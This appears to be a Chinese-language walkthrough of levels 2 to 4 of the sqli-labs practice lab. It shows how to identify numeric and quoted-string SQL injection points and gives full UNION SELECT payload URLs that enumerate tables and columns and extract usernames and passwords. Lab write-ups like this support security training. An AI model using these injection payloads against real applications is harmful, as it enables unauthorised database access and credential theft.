目录
第二关Less-2:GET - Error based - Intiger based
2、使用order by猜测字段数,根据第一关,字段数为3;
第三关Less-3:GET - Error based - Single quotes with twist - string
第四关Less-4:GET - Error based - Double Quotes - String
第二关Less-2:GET - Error based - Intiger based
1、判断注入点类型
id没有被其他字符包裹,猜测数字型注入
进行验证:
对照最终确定该注入点为数字型注入;
2、使用order by猜测字段数,根据第一关,字段数为3;
3、联合查询获取显示位置
http://192.168.162.135/sqlilab/Less-2/?id=-1 union select 1,2,3 --+
其他步骤与第一关相同;
第三关Less-3:GET - Error based - Single quotes with twist - string
1、判断注入点类型
(1)、单引号测试:http://192.168.162.135/sqlilab/Less-3/?id=1'
判断sql语句为:select * from users where id = ('$id');
(2)进行验证:
http://192.168.162.135/sqlilab/Less-3/?id=1') --+
http://192.168.162.135/sqlilab/Less-3/?id=1') and 1=1 --+
http://192.168.162.135/sqlilab/Less-3/?id=1') and 1=2 --+
最终确定:该注入点为字符型注入;
2、字段数,显示位置,数据库版本,库名的获取参考第一关
3、联合查询查询表名
http://192.168.162.135/sqlilab/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
4、获取列名
http://192.168.162.135/sqlilab/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
5、用户名和密码的获取:
http://192.168.162.135/sqlilab/Less-3/?id=-1') union select 1,username,password from users where id=1 --+
改变id的值,获取不同的用户名和登录密码;
第四关Less-4:GET - Error based - Double Quotes - String
1、判断注入点类型
(1)、单引号测试
正常显示,说明单引号被过滤;
(2)、尝试其他符号
判断sql语句为:select * from users where id=("$id");
(3)、进行验证:
http://192.168.162.135/sqlilab/Less-4/?id=1") --+
http://192.168.162.135/sqlilab/Less-4/?id=1") and 1=1 --+
http://192.168.162.135/sqlilab/Less-4/?id=1") and 1=2 --+
最终判定:该注入点为:")字符型注入;
2、其他步骤参照第一关;
例:查询表名:
http://192.168.162.135/sqlilab/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+